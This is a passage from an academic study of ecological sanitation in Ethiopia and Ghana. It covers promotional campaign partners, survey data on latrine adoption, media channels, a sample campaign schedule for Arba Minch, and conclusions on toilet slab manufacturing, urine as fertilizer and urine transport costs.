use would be a great opportunity to convince people of their appropriateness and overcome any taboos or prejudice associated with sanitation. Priests could disseminate flyers on the topic of health and sanitation. Priests are role models and highly respected by communities so hearing the information from their mouths will add credibility to the promotional campaign. In Ethiopia, the NGO Oxfam wants to embark on health and sanitation promotion through churches (pers. communication, S. Mekonnen, Oxfam Ethiopia, Addis Ababa, ). People go to church on a regular basis, listen to and respect their religious leaders. However, it is necessary that church organizations are
186 162 educated on hygiene and sanitation issues in order to be capable of passing the knowledge further Politicians and leaders Politicians could be good advocates of a sanitation promotional campaign. They are generally respected, recognized and powerful. They could influence numerous associations and organizations to participate in the sanitation campaign. They are also decision-makers so they can influence political decisions regarding sanitation. Media will also put them in the spotlight, together with the campaign that they are involved in. One can use a strategic time, e.g., before elections, as a motivation for politicians to participate in such a campaign. Politicians and traditional leaders are role models and they set standards. When they use ecosan, it will be a motivation for community members to adopt it. Demonstration toilets built at their premises would be the best promotion method Local NGOs There are many local NGOs in Arba Minch and its vicinity that carry out water supply and sanitation projects. Vita works with community-led total sanitation (CLTS). The NGO approaches a community and together with kebele leaders introduces the objectives of their intervention. The community is given an opportunity to participate through, e.g., creating social maps, counting households with and without sanitation facilities, and finally, choosing the sanitation option and building their sanitation facilities. In nine villages, Vita managed to achieve 100 % sanitation adoption without any money-related incentives. The NGO teaches construction, operation and maintenance of toilets, and other health and sanitation issues. Vita also offers financial support for training of community health promoters (CHPs) (pers. communication, Yalemtsehay, Arba Minch Health Center, Arba Minch, ). Cooperation with Vita could be launched in order to educate teachers and other NGOs on health and sanitation issues, CLTS and ecosan. There are numerous NGOs working in Ethiopia and some of them are presented in Table 5.1. Information summarized in Table 5.1 is based on the information gathered through personal interviews in Ethiopia. As a result of the information gathered, it can be concluded that sanitation and health promotion is performed by NGOs through the following methods: household visits of CHPs, involving community and religious leaders in a promotion campaign, discussions and question-answer sessions during coffee ceremonies, at mosques, churches, at market places and at CBOs meetings, training of CHPs, teachers as well as water and sanitation committees in the PHAST method as well as sanitation and health aspects, and creating sanitation clubs at schools. Promotion materials used by NGOs commonly include brochures, flipcharts, leaflets and posters. WaterAid performs sanitation and hygiene promotion at schools, believing that children will be able to teach their families and reach out to the next generations by teaching their own children. Sanitation clubs are established at schools where dramas, role plays and songs are created for hygiene and sanitation promotion.
187 163 During the interviews with representatives of NGOs in Ethiopia, certain prerequisites for a successful sanitation project were identified. It is important that an intervention is prompted in a legal manner and by the future beneficiary community. This makes acceptance and cooperation easier and makes the project potentially sustainable. Furthermore, many NGOs work through CHPs because they are respected, culturally based and well accepted by communities. Some NGOs work with water and sanitation (WATSAN) committees, which are formed at a village level and comprise of female and male community members. Such a committee is held responsible for the operation and maintenance of sanitation facilities within its community. This makes the functioning of sanitary facilities more efficient and it is put in the hands of the communities, which gives them a sense of belonging. It is also important that communities can decide on the sanitation technology and that they are actively involved in the intervention.
188 164 Table 5.1: Examples of NGOs working in the water and sanitation field in Ethiopia NGO African Medical and Research Foundation (AMREF) Water Action Catholic Relief Services (CRS) Ethiopia Sanitation promotion Through CHPs a, training of CHPs Monthly sanitation campaigns Household visits, group discussions at coffee ceremonies Posters, hygiene manual for CHPs, PHAST b material Through CHPs, training of CHPs Household visits Brochures, flipcharts, posters Through CHPs, training of CHPs and HEWs d, religious and community leaders Community discussions and solution-finding sessions Materials based on the local context Special approaches PHAST Sanitation facilities Shared sanitation blocks in slums (showers, toilets, hand washing facilities, water points) to prevent the practice of flying toilets c n.a. Sanitation ladder approach Using locally available materials Employing sanitarians and casting own slabs Ecosan first implementations with CRS Ethiopia PHAST VIP e latrines (failed high cost) Traditional pit latrines (failed hard to link to health improvement, high cost) Ecosan (Arborloo, Fossa Alterna) successful Painting slabs in bright colors to attract children Partners City, sub-city and kebele administration Communities (WATSAN committees, poor women, teachers, volunteers) Local government Other NGOs Communities (WATSAN committees, water management board) Federal, regional and local government WASH movement International and local NGOs Agricultural agencies Research institutes and universities Private companies (plastic slabs producers) Communities Sanitation component Slogan: better health for Africa Integrated with water supply and health, protection of natural resources and development Integrated with water supply and health Integral human development approach Geographical reach Addis Ababa Afar South-Omo South South-East Amhara Oromia Somali SNNP Tigray
189 165 NGO WaterAid Ethiopia Oxfam GB Ethiopia Vita (formerly known as Refugee Trust International) Sanitation promotion Through CHPs, training of CHPs Household visits, discussions during CBOs or church meetings, coffee ceremonies, at market places (not interfering with women s daily activities), competition system between households, school sanitation clubs (drama, role plays, songs) Pictorial aids based on the local context, in local languages (e.g., flip charts, posters) Through community leaders and elders At churches, schools PHAST material, material developed by the UNICEF Through CHPs, health officers, kebele leaders Peer-to-peer discussions, active community involvement Pictorial aids, dramas, role plays in local languages Special approaches PHAST CLTS Approaching people with hygiene and sanitation promotion at churches PHAST CLTS Sanitation facilities Sanitation ladder (mostly traditional pit and VIP latrines) Ecosan (compost toilets and toilets with biogas production) VIP latrines Willing to implement ecosan; argument quoted against ecosan: cultural barrier of handling of urine and feces Chosen and constructed by communities The NGO offers technical support, selects sites for toilet construction, teaches how to construct, operate and maintain Partners No direct project implementation, through partner organizations Federal, regional and local government WASH movement Church organizations Indigenous NGOs Private sector (e.g., for baseline studies, drilling) Communities (WATSAN committees) Federal, regional and local government WASH movement Local NGOs Private sector Communities (e.g., leaders and elders) Local government Electricity and water suppliers CBOs Communities (e.g., kebele and political leaders) Sanitation component Integrated with water supply and health First priority in the SNNP Region: food security, then sanitation CLTS approach, showing the economic advantage of sanitation adoption Geographical reach Addis Ababa Amhara Oromia SNNP Tigray Afar Oromia SNNP Somali South-Omo SNNP
190 166 NGO Catholic Mission Ethiopia Red Cross Ethiopia Anonymous NGO Sanitation promotion Through HEWs, healthcare workers and CHPs Household visits Community stories, mapping water and sanitation facilities, picture-based tool kits, observation, manual for CHPs Through public committees Household visits Brochures, leaflets and posters Through influential people, teachers and students Sanitation clubs at schools The NGO developed teaching materials to use at schools Special approaches CLTS (through Vita) n.a. CLTS (through Vita) Sanitation facilities Mainly sanitation at public institutions or for communal use Mainly VIP latrines Argument quoted against ecosan: rural communities not interested Mainly VIP latrines, made of locally available materials Partners Local government Other NGOs Private sector (for supplies) Communities Federal and local government Other NGOs Communities Local government Other NGOs (e.g., WaterAid, Vita) Communities a) CHPs- community health promoters b) PHAST- Participatory Hygiene and Sanitation Transformation c) The use of plastic bags for defecation, which are then thrown into ditches, onto a roadside, or simply as far away as possible. Sanitation component Sanitation as a component of a water supply program Previous focus: public toilets Current focus: household toilets for the poorest Elimination of blinding trachoma Link: improved sanitation prevents fly breeding Geographical reach Gamo Gofa Zone South-Omo Chencha Konso SNNP d) HEWs- health extension workers e) VIP- ventilated improved pit
191 Promotion of ecosan in Ghana Similarly as in the case of Ethiopia (refer to Section 5.4), crucial factors influencing sanitation promotion, in particular of ecosan, are discussed for Ghana Sanitation culture in Ghana A study surveyed a representative national sample of 536 households in Ghana and revealed the following reasons for building a household toilet (Jenkins and Scott, 2007) 69 : convenience (51.4 %), easy to keep clean (43.1 %), good health (41.9 %) 70, general cleanliness (27.8 %). The same study revealed the following constraints on building a household toilet (Jenkins and Scott, 2007): limited space (48.4 %), high costs (33.6 %), no one to build (32.3 %), competing priorities (31.8 %), savings and credit issues (30.1 %). Jenkins and Scott (2007) distinguish between three stages of the decision to adopt a sanitation change: preference, intention and choice. In order to increase preference, the authors suggest a large scale marketing communications campaign using advertising and consumer information dissemination methods. The campaign should highlight the benefits and generate motivation, put emphasis on convenience, safety and cleanliness and increase the awareness of negative aspects of current defecation practices. Similarly to other countries, the motivation for sanitation adoption in Ghana is largely unrelated to the fecal-oral transmission of disease (Jenkins and Scott, 2007). Cleanliness and neatness in Ghana are tied to moral and social purity, whereas diseases associated with feces are believed to be transmitted via sighting feces and by fecal heat and odor from latrines (Jenkins and Scott, 2007). For increasing the intention to build household toilets, the authors reflect that marketing is unlikely to fulfill the problems arising on this stage and it is due to public policies to address these. When it comes to increasing the final choice, the common reasons for failure to adopt sanitation include: perceived high costs, no one to construct, complexity of construction, lack of info and water table/soil problems (Jenkins and Scott, 2007). A proper marketing mix will provide actions to improve the quality, range and costs of toilet technologies, innovative ways and incentives to extend the private sector supply chain of these products and related services needed to construct, operate and 69 Percentages do not add up to 100 % because the respondents were asked to list three top reasons of building a household toilet. 70 One third of the respondents believe that germs are the cause of bad health, whereas two thirds of the respondents believe it is caused by heat, smell, feces or dirt.
192 168 maintain toilets closer to these households. Sales promotion and product education will reduce households transaction time and effort costs involved in searching for good information about technologies and how to construct sanitation facilities. Another study was performed in Nkawie, 13 km of Kumasi, where 70 % of the population does not have household sanitation facilities and uses public toilets (Jenkins and Curtis, 2005). The key motivating factors for latrine adoption were distinguished. They are presented in Table 5.2, together with ecosan s performance in the light of these factors. Table 5.2: Motivating factor a Comfort Status/Prestige Safety/Security Key motivating factors for sanitation adoption in Ghana and the respective ecosan performance Good health (the heat from public latrines mentioned as the reason for falling sick, with possible adverse effect on one s sexual productivity) Cleanliness Socio-economic gain/loss (spend much money in buying soap for bathing and washing clothes after using a public latrine) Embarrassment (not holding feces for a long time in a line, people teasing and pointing fingers, having to borrow money from neighbors to pay for using a public toilet) Convenience Being modern Concern for others (defecating near a stream is environmentally unfriendly and leads to the pollution of water bodies, which serve as a source of drinking water) Other reasons including superstition, e.g., a public latrine is a home for evil spirits a) Source: Jenkins and Curtis, Ecosan s performance Indoor options, household, community or public toilets Household toilets, modern approach Permanent structures, indoor options Improved sanitation facilities linked to health benefits No odors if toilets used and maintained properly Clean if toilets maintained properly Clean if toilets maintained properly Possible income from selling of excreta based fertilizers Indoor options, toilets that do not smell and are maintained clean make users feel comfortable and respected Indoor toilets (no standing in line, walking, struggling to find a place for defecation) New concept, shows openmindedness Environmentally-sound and sustainable concept, allowing reuse of nutrients and conservation of water Indoor options, no odors, not dangerous for children to fall into The same study by Jenkins and Curtis (2005) found out key constraining factors for latrine adoption. Table 5.3 presents them together with possible solutions offered by ecosan and a properly designed promotional campaign.
193 169 Table 5.3: Constraint a Space restrictions Water table/soil condition Difficulty of obtaining a subsidy Constraining factors for sanitation adoption in Ghana and possible solutions Permit (prior to constructing a latrine, the land legislation demands that the owner of the house must obtain permission from the local land survey department) Cost/Finance Lack of awareness Intra-family relations (if the decision maker in a compound cannot afford to install a latrine, difficult to convince the rest of the family members) Operation and performance Presence of a public toilet a) Source: Jenkins and Curtis, Solution Different options available, e.g., single vault urine diverting dry toilets (UDDT) or community toilets UDDTs built above ground Arborloos built with shallow pits Subsidy for demonstration toilets, software project s components (dissemination materials, training on toilet construction, slab casting, health aspects, etc.) to trigger spontaneous copying Ecosan promotion combined with gaining advocacy and cooperating with local authorities Different construction options Possible income from excreta based fertilizers Water savings Making ecosan demonstration facilities available Showing different options available (e.g., sitting vs. squatting, male and female urinals, low cost vs. luxurious designs, etc.) Promoting ecosan to a wide variety of people (men, women, school children, political leaders, etc.) Using good quality products Making ecosan demonstration facilities available Promoting ecosan as clean and comfortable Making ecosan demonstration facilities available A study by Tsiagbey et al. (2005) on 60 households in Nima, a suburb of Accra, revealed the following reasons of low and middle income households for accepting urine diverting toilets (UDTs): convenience, affordability (in comparison to paid public toilets), hygiene, source of fertilizer, easiness of use and maintenance, safety,
194 170 privacy, better than current facility, portability, and mobility. On the other hand, high income households perceived UDTs to be unhygienic due to the fact that they do not need water to clean and maintain the facility (Tsiagbey et al., 2005). This study did not compare the willingness to adapt other sanitation options so it cannot be considered as fully representative. The authors found out that 80 % of the surveyed households had not been aware of UDTs, which clearly shows that an extensive promotional campaign on ecosan should be performed. Another survey in Ghana showed that 90 % of the interviewed households knew that excreta can be a valuable source of nutrients in agriculture (Danso et al., 2004). Concerning the use of human excreta, on average 72 % of the interviewed households had a positive perception to its use as manure and 80 % of the interviewed households believed that there should be a market for dried excreta (Danso et al., 2004). These numbers show a quite positive attitude of Ghanaians towards the ecosan approach and the potential for applying excreta based fertilizers in agriculture. A recent study performed in Ghana surveyed farmers, marketers and consumers on their perception of vegetables fertilized with urine (Koomson, 2010 cited in Cofie et al., 2011). The study revealed a number of concerns raised by farmers, e.g., the fertilizing effect of urine on vegetables, storage efficiency of urine in the soil, fertilization rate and application techniques for various vegetables, etc. Thus, it was concluded that demonstration farms need to be set up in order address the technical concerns raised by farmers. Among the surveyed marketers in Ghana, 54 % believed that urine is a waste and is not to be used for vegetable production (Koomson, 2010 cited in Cofie et al., 2011). The surveyed marketers who considered urine as not suitable for vegetable production were concerned about the health hazard of applying urine on vegetables and the fact that consumers might not be willing to buy vegetables fertilized with urine. Approximately 44 % of the surveyed consumers were willing to purchase vegetables fertilized with human urine due to the fact that they perceived urine as a resource (Koomson, 2010 cited in Cofie et al., 2011). Despite the positive attitude towards vegetables fertilized with urine, the consumers shared their concerns regarding health risks connected with the consumption of such vegetables, however, none of the surveyed consumers was able to identify a specific disease with this respect. Knowing the issues discussed above, it is easier to design a promotional campaign as the focus can be brought to the particular motivating or constraining factors that ecosan is able to address Sanitation promotion through media in Ghana Different media channels for sanitation promotion in Ghana are discussed further Radio Listening to radio in Ghana is even more popular than in Ethiopia (BBC World Service Trust, 2006). Radio is the most preferred and powerful communication
195 171 medium in Ghana and there are numerous stations available in the country. In Accra alone, there are almost 30 FM stations (GhanaWeb, 2010). There are public radio stations owned by the Ghana Broadcasting Corporation, experimental radios such as Univers (radio of the University of Ghana) and community radios, which cover smaller areas, but are run by communities (Meier, 2008). The most popular are the latter ones. Some of them are sponsored by NGOs. The language used depends on the community. Call-in radio programs are popular in Ghana as they give people a feeling of having their voices heard. Community radios can be used for knowledge dissemination and raising awareness on ecosan. It is also important to highlight the fact that household radio ownership in Ghana is higher in rural areas (almost 56 %) than in urban areas (42 %) (Ghana Statistical Service, 2008b). Different radio stations can be used to address a wide range of target groups divided by age, gender and profession as well as educational level (Meier, 2008). Call-in programs can be used to discuss the current sanitary situation and possibilities of solving sanitation related problems. In addition, different aspects of ecosan systems and their benefits can be discussed daily. Listeners can ask questions and give feedback on issues being discussed. Also, interviews with people using ecosan technologies can be broadcasted in a call-in program, followed by an invitation to visit a demonstration toilet or an agricultural field where sanitized excreta and urine were applied Newspapers The most popular newspapers in Ghana include the Daily Graphic, followed by the Daily Guide and the Accra Daily Mail (Meier, 2008). While most of the newspapers focus on politics, there is also a tendency of specialized magazines to deal with other topics, e.g., education (Kafewo, 2006). Many newspapers are published in English but some are published in local languages. The decision on the use of newspapers depends on the literacy rate in English and indigenous languages of the target group (refer to Figure 5.3). 100% 90% 80% 70% 60% 50% 40% 30% 20% 10% 0% Ghanaian languages only Ghanaian languages and English English only Illiteral Male Female Total Figure 5.3: Adult literacy rates in English and Ghanaian languages by gender in Accra (based on Ghana Statistical Service, 2008b) In non-literacy communities, promotion through newspapers can be useful if reading clubs exist, where English newspapers could be translated to local languages and the other way round (Karikari, 2000). In highly literate target groups, e.g., on the political level, promotion through newspapers could be effective.
196 Television Television ownership by households in urban areas is much higher than in rural areas (56 % and almost 16 %, respectively) and in Accra alone, almost 73 % of the households own a television (Ghana Statistical Service, 2008b). Among television stations available in Ghana, Metro TV, which is focused on urban areas, is one of the most famous ones (Meier, 2008). The use of this medium is independent of the literacy rate but highly dependent on a household s financial status. Using television for ecosan promotion makes sense in Accra and other larger urban areas, where there is high television ownership. Through advertising on television, one has to reach a large number of people as it is much more expensive than advertising through other media. Television is often watched collectively. Consequently, broadcasting ecosan promotional campaign on television could trigger lively discussions Possible campaign partners in Ghana Potential partners for an ecosan promotional campaign in Ghana are discussed further Community-based organizations Similarly to the case of Ethiopia (refer to Section ), CBOs play an important role in the lives of the Ghanaian population. Even though information on CBOs active in Ghana was sought, it could not have been found. It is, however, known that there are CBOs involved in health related activities in Ghana. For example, a local CBO called the Youth Agenda provided tents in order to cater for basic health services to the inhabitants of a poor neighborhood located in the Central Accra and to educate on issues related with material health, child care, AIDS and environmental hygiene (Asiedu, 2002). Consequently, knowing the CBOs active in the local area, it should be pursued to take advantage of their status and presence in the lives of the local inhabitants in order to involve them in sanitation campaigns Schools and public institutions Activities at schools and universities can be similar to the ones in Ethiopia, as already described in Section At some universities in Ghana (Valley View University (VVU), Kwame Nkrumah University of Science and Technology), ecosan was already introduced into the curriculum. Moreover, the ecosan approach (e.g., urine diverting dry toilets, waterless urinals) was implemented at the VVU, which is located in the Greater Accra Region (Berger, 2010). More information on the ecosan project at the VVU can be consulted in Geller et al. (2006) and Berger (2010). The International Water Management Institute (IWMI) is an international research center and an NGO with offices in ten countries located in Asia and Africa. The IWMI West-Africa main office is located in Accra, Ghana. The IWMI integrates Ghanaian students in their research on, e.g., urban and peri-urban agriculture, land and water management and safe wastewater and excreta reuse. Other universities still focus on conventional sanitation techniques. In order to trigger the paradigm shift, ecosan clubs should be established at universities, where the knowledge about ecosan and sanitation is already present. The information on the
197 173 related activities could be broadcasted by, e.g., radio Univers of the University of Ghana. Networking with other universities and cooperation for project implementation should be pursued. Lectures or workshops for students on sanitation and health could be organized and international lecturers could be invited to share their experience Artists For details on cooperating with artists in an ecosan campaign refer to Section Two Ghanaian artists, Rocky Dawuni and Batman Samini already produced a song in collaboration with UNICEF about water and sanitation problems in Ghana (Hickling, 2007). They also visited communities that struggle with shortages of safe drinking water and sanitation facilities. They appealed to chiefs, elders and community members for safe water and hygiene practices. These artists should be contacted for further cooperation in the promotion of sanitation Church Religion is important to many Ghanaians, thus churches could be a good communication channel for a sanitation campaign. The opinion of well-respected religious leaders can influence the community. In the case of Christians, which is the largest religious group in Accra (refer to Figure 5.4), prejudice against urine and feces is mainly related to hygiene and it might be overcome if safe handling and treatment is guaranteed (Martinez Neri, 2009). The second biggest group, Muslims is required by religion to minimize any contact with human excreta and perform ablutions. Thus, it is necessary to educate them on the availability of ecosan options for washers. No religion; 6.1% Traditional; 0.5% Other; 0.3% Muslim; 11.5% Christians; 81.6% Figure 5.4: Religion in Accra (based on Ghana Statistical Service, 2008b) Politicians and leaders For details on involving politicians and leaders in an ecosan campaign refer to Section For example, in Dangme East (Greater Accra Region), chiefs of clans mobilize people for development in communities and collaborate with the District Assembly
198 174 (Ghana Districts, 2006). They would therefore be good contact partners for sanitation promotion Local NGOs NGOs are embedded in local structures and have the knowledge that is essential for a successful sanitation campaign. Thus, their involvement is crucial. Examples of NGOs working in the water and sanitation field in Accra are listed in Table 5.4. Safi Sana (Ghana) Ltd., which was founded by a Dutch NGO Aqua for All, is testing the collection and treatment of fecal sludge and other organic wastes in order to produce biogas and organic fertilizer (Tettey-Lowor et al., 2009). The Safi Sana Multi Service Block (MSB), is run as a franchise that, if successfully tested, can be rolled out to other areas (Safi Sana Ghana Ltd., 2011). The MSB includes a paid public toilet, water kiosk, hygiene products and wash services. The company s waste reuse concept is based on the collection and hygienic processing of the collected waste into marketable products (energy and organic fertilizers). Thus, Safi Sana should be seen an ideal partner for the promotion of ecosan. The international NGO WaterAid works on water and sanitation projects through local partners. WaterAid should become involved in a sanitation promotion campaign in Ghana due to its large network of partners within the water and sanitation sector and an important role that the NGO plays in the sector, e.g., by taking part in advocating for policy. Nature Conservation Research Center (NCRC) and World Vision International could help promote the ecosan approach at the national level as they are active in many regions of the country and could easily disseminate the knowledge on ecosan countrywide. The Ghana Coalition of NGOs in Water and Sanitation (CONIWAS) located in Accra partners with sector players to influence policies, remove barriers and promote access to portable water, sanitation and improved hygiene for the poor and vulnerable. CONIWAS is an important partner for a sanitation campaign due to its recognized presence in Ghana and valuable partners, which include big donor agencies (e.g., WaterAid Ghana, World Bank, UNICEF, DANIDA, etc.) and key players in the water and sanitation sectors (the Ministry of Water Resources, Works and Housing, the Ministry of Local Government Rural Development and Environment, Community Water and Sanitation Agency). CONIWAS also organizes the annual national sector conference the Mole Conference Series (refer to Section 2.1.4), which is a recognized national forum for sharing ideas on water and sanitation. Professional Network Association (ProNet), an NGO that was established with the assistance of WaterAid, also plays a key role in the organization of the Mole Conference Series.
199 175 Table 5.4: Examples of NGOs that work in the water and sanitation field in Ghana Danish International Development Assistance (Danida) b Nature Conservation Research Center (NCRC) c Professional Network Association (ProNet) d WaterAid e World Vision International f Central Eastern Greater Accra Volta All 10 regions in Ghana Ashanti Eastern Greater Accra Northern Upper East Upper West Northern Eastern Greater Accra Upper East Upper West All 10 regions in Ghana NGO Geographical reach Activities Aqua for All a Greater Accra (pilot project in Accra: public toilet block in Teshie and Ashaiman) founder of Safi Sana Ltd.: franchise concept for public water and sanitation facilities Safi Sana runs a business unit which helps design, build and operate a centralized waste digestion and processing plant which produces bioenergy and organic fertilizer contribute to sustainable poverty reduction through: a) improved water supply, sanitation and hygiene education; b) increased knowledge and better use of the water resources focus on the poor living in rural areas and small towns slums support to NGOs and civil society organizations in the water and sanitation sector promote the awareness and protection of Ghana s nature and wild species through conservation activities (link to ecosan: conservation of water and recycling of nutrients) implement water, sanitation and hygiene promotion projects strengthen capacity of partners so they can design, implement and manage an integrated program of water, sanitation and hygiene promotion in the community focus on the rural and urban poor works through local NGOs (e.g., ProNet), local government departments or private companies to conduct the projects provide financial support, training and technical advice as well as assistance in planning, budgeting and institutional development engage in policy debate/advocacy empower the poor communities to know their rights of access to safe water and effective sanitation teach about better hygiene and sanitation, constructing latrines support micro-enterprise development implement the Ghana Rural Water Project (water supply in rural areas) a) Aqua for All, n.d.; Tettey-Lowor et al., 2009, b) Danida, 2004; Fuest et al., 2005, c) Martinez Neri, 2009, d) WaterAid Ghana, n.d.; Fuest et al., 2005, e) Fuest et al., 2005, f) Fuest et al., 2005; World Vision Africa, 2010
200 Example of a sanitation promotion campaign Table 5.5 presents an example of an ecosan promotion campaign that could be organized in Arba Minch, Ethiopia. Important aspects to consider include the rainy seasons (April to May and September to October) (AMU and ARB, 2007) when transportation and outdoor activities are limited. Additional to the proposed campaign, the promotion of ecosan should be performed in the Debub Nigat newspaper, on the Voice of South radio and through leaflets, which would contain information on, e.g., available toilet types, their operation and maintenance requirements, contact information to toilet slab producers, distribution centers as well as possibilities of visiting demonstration toilets in the vicinity. The already installed UDDTs at schools in Arba Minch (refer to Section ) should also be used as demonstration toilets. Excreta based fertilizers could be applied in school gardens. Furthermore, existing UDDTs, Arborloo and Fossa Alterna toilets with agricultural trial plots at the premises of the ROSA office as well as toilets installed in private households should also be used for demonstration purposes. Cooperation with local NGOs could lead to training and education activities of campaign employees, teachers, CBO members as well as local and religious leaders in sanitation and hygiene. A promotional campaign for Accra would have to be designed taking into account two rainy seasons: May to mid-july and mid-august to October (Ghana Districts, 2006). Also, the message of the campaign needs to be matched after having studied the local conditions and sanitation preferences (refer to Section for information on the sanitation culture in Ghana). In Accra, an affordable in-house sanitation facility showing the household s status, providing safety, especially for women, and convenience would be a good message for a sanitation campaign. Furthermore, the advantage of applying excreta based fertilizers on urban and peri-urban agricultural farms in Accra and its vicinity should be highlighted. Urban and peri-urban agriculture is widely practiced in Accra (refer to Section ). In Accra, another important message is the flexibility of the ecosan approach, with options suitable as household and community/shared toilets, toilet designs that are suitable for children, options for washers, etc. On plots where space is not available, promoting shared sanitation facilities is recommended. In Ghana, shared sanitation facilities are widely used, with 70 % of the urban population and 38 % of the rural population using shared facilities in 2008 (refer to Section 2.1.2) (WHO and UNICEF, 2010). However, it needs to be highlighted that only proper operation and maintenance will lead to health benefits of using these facilities. Here, the easiness of keeping the facilities clean should be discussed in order to encourage communities to adopt these sanitation options. Furthermore, dry toilets, e.g., urine diverting dry toilets allow users to become less dependent on water providers as water needs to be supplied only for household use and hand washing. It is also recommended to use existing facilities, e.g., at the Valley View University (refer to Section and Section ) in order to organize an excursion and present their operation and maintenance as well as the agricultural area where excreta based fertilizers were applied. Furthermore, market days in different districts of the city should be used as an opportunity to inform about ecosan and provide contacts to toilet constructors, companies manufacturing toilet slabs, NGOs educating on health and sanitation, microfinance institutions offering micro loans for sanitation facilities, etc.
201 177 In Accra, advertising on television would make sense if enough budget is available for the sanitation campaign. Also, advertising through radio and newspapers is advisable. As already discussed in Section , radio is deeply rooted in the Ghanaian culture and it reaches a large part of the population in Ghana, especially in Accra. Radio Univers of the University of Ghana should be used for broadcasting information on school and university events related to ecosan, including scheduled role plays and song or artistic contests.
202 178 Table 5.5: Sanitation promotion campaign for Arba Minch (adapted from Blume, 2009) Action Jul. Aug. Sep. Oct. Nov. Dec. Jan. Feb. Mar. Apr. May Jun. Local situation analysis Contacting and mobilizing of campaign partners Partnering activities and further development of cooperation Preparation of information packages for the media Establishment of WASH committees, community health clubs, sanitation clubs at schools and Arba Minch University (AMU) Education and training of employees and campaign partners a Slogan and logo creation contest Education and training of teachers and CBO members in cooperation with NGOs b Design of promotional packages Health and sanitation education at schools c and AMU Songs and role play preparation at schools and AMU Information day for journalists World Toilet Day celebration at schools and AMU Garden planting and maintenance at school premises d Invitation of journalists, administration officers and parents to join an open day at schools Open day at schools Newspaper article on school ecosan Ecosan market stand e Demonstration toilets viewing a) Intensive training at the beginning of the campaign with follow-up training sessions b) Teachers training prior to the beginning of the school year c) School year in Ethiopia: September-June d) Garden activities for students (first months of theory, then practice)
203 179 6 CONCLUSIONS The main objective of this study was to analyze economic, social and technical aspects of low-tech sustainable sanitation systems, on the example of Ethiopia and Ghana. Due to the fact that economic benefits can be considered as the main driver of the private sector to become involved in the sanitation sector, they have been put under close consideration. In general, the demand and supply need to correspond to each other. Not only are the customers for products to be applied under the ecosan principle crucial, but the product must also be affordable, appealing, available in different designs, durable and easy to maintain. In order to achieve this, ecosan systems should be implemented in large scale. On the supply-side, large-scale implementation would provide necessary resources to develop new technologies and achieve economies of scale. In order for this to happen, governmental support and regulation is required, e.g., for financing mechanisms, at the product development stage, for quality assurance or marketing and promotion. This would encourage technological innovations and help to adapt existing sanitary options to local conditions. Governmental support could also be channeled to training for the capacity development of the private sector and provision of efficient services. Furthermore, selling products in bulk to associations (e.g., to CBOs or NGOs) can benefit both the company, by avoiding expensive local dealers, and the customers, who can benefit from credit options, e.g., as a member of a CBO. On the demand-side, it is necessary to implement appropriate marketing techniques such as sanitation marketing or product branding. Studying local conditions, in particular the reasons for adoption and non-adoption of sanitation, is necessary in order to understand the needs of the local population. In this way, it is possible to offer products that solve the problems stated by non-adopters (e.g., space restrictions, high groundwater table or problems with operation and maintenance) and meet the expectations of adopters (e.g., comfort, prestige, safety or health benefits). For the ecosan approach to bring along maximum benefits, it is necessary to treat it as a holistic system, where suitable products are available on the market, where people (i.e. farmers, toilet builders, users) are trained and willing to undergo a behavioral change and where the logistics of the system are well-designed and executed (e.g., regular collection and appropriate sanitization of human excreta is performed when necessary). With large-scale implementation of ecosan it is possible to identify optimization options and how to maximize the economic benefit of these systems, both for the private sector and for the users (e.g., for farmers through crop productivity as a result of human excreta application in agriculture). The summary of the analysis performed in this study and resulting recommendations is as follows: Toilet manufacturing Production of plastic toilet slabs to be applied under the ecosan approach can be profitable in a country like Ethiopia. The biggest business risk is related to the demand for products. For this reason, the manufacturing line should be designed in a flexible way, allowing for
204 180 changes in production in case of failure or a decrease in demand for a particular product. Mass production results in lower operational costs but requires a higher investment, which may be problematic in a country like Ethiopia. Rising operational costs, i.e. costs of raw material, can pose a certain risk to the business. Cost minimization options are mainly related to machinery costs (e.g., purchasing used machinery) and cost of raw materials (e.g., recycling of scrap plastic, using blends of post-consumer resins and virgin raw material instead of virgin raw material). Further cost minimization options include choosing a location that is close to the demand for the products manufactured and where land-related expenses (e.g., land lease) are cheap. Urine as fertilizer In the case of Ghana, the market value of human urine was calculated to be GH /l (0.008 /l). The market value of urine will generally change with the market prices of mineral fertilizers, the nutrient content of urine and the local demand for nutrients. The social acceptance for the application of human urine as fertilizer plays a crucial role in urine marketing. Therefore, urine application options on both nonfood crops (e.g., oil palms and fast growing trees for biodiesel and fuel wood production) and food crops (e.g., maize plants) should be considered. The amount of mineral fertilizer that can be offset with urine, and the resulting fertilization needs that can be satisfied, depend on the available amount of urine and the size of plantations. The bigger the ecosan system, the larger fertilization needs can be satisfied, however, a utilization concept of ecosan products needs to be in place. Supply chain The investment required for the supply chain of an ecosan system is rather small, which might attract the interest of the private sector. The biggest contributor to the project costs was identified to be the cost of urine transportation. In the case of collecting 7,000 l of urine per day, which corresponds to a small to medium size system, it would be economically feasible to transport it approximately 210 km (round trip). This distance will differ, depending on the local transportation costs (fuel price, truck maintenance costs, driver s salary, the cost of the truck and auxiliary equipment that influences depreciation costs and the type and cost of containers used for urine transportation). With the increasing transportation distance, the project s sensitivity towards transportation costs also increases. Finding ways of shortening the transportation distance has a positive effect on the profitability of the project. Ways of lowering or even covering urine transportation costs include transporting urine in bulk (urine collected from a number of public urinals located in close vicinity to each other) and exploiting truck s cargo capacity on its return
205 181 trip by involving it in other transportation services. However, hygienic aspects need to be considered when choosing this solution. It is important to make transportation of urine flexible, i.e. to make it possible to transport empty containers together with other cargo on a return trip. Therefore, it is easier to equip a truck with a number of smaller containers than fit it with one big tank, also making loading and offloading easier for operators. It is possible to decrease urine storage costs by using plastic bladders instead of plastic containers and by storing urine on farmlands where it is to be applied. Designing projects that can interact with each other can help achieve savings on, e.g., transportation costs (truck can be used to collect and transport urine to its storage location and to transport other cargo on its return trip). Ecosan as a holistic system Studying the local area for the design of a holistic system will allow exploring many options and come up with the best arrangement for local conditions: Outlook Due to economic hardships, mineral fertilizers are often not applied on local oil palm plantations in the Kwabebibirem District in Ghana. Therefore, building urine-separating toilets would allow for separate urine collection and its application as liquid fertilizer. It would also be possible to produce biodiesel from oil palm and run trucks on it, saving on fuel costs. The abundance of oil palm plantations would make it possible to involve a truck in industry related transportation services (e.g., oil palm fresh fruit bunches to oil palm mills). The problem of deforestation in the Kwabebibirem District could be addressed by establishing short rotation plantations, where fast growing tree species would be planted for fuel wood production. They could also be fertilized with urine. A successful implementation of an ecosan system will contribute to the economic development of the country by solving the problem of low access levels to sanitation and meeting the sanitation needs of the growing urban population. Further advantages include the 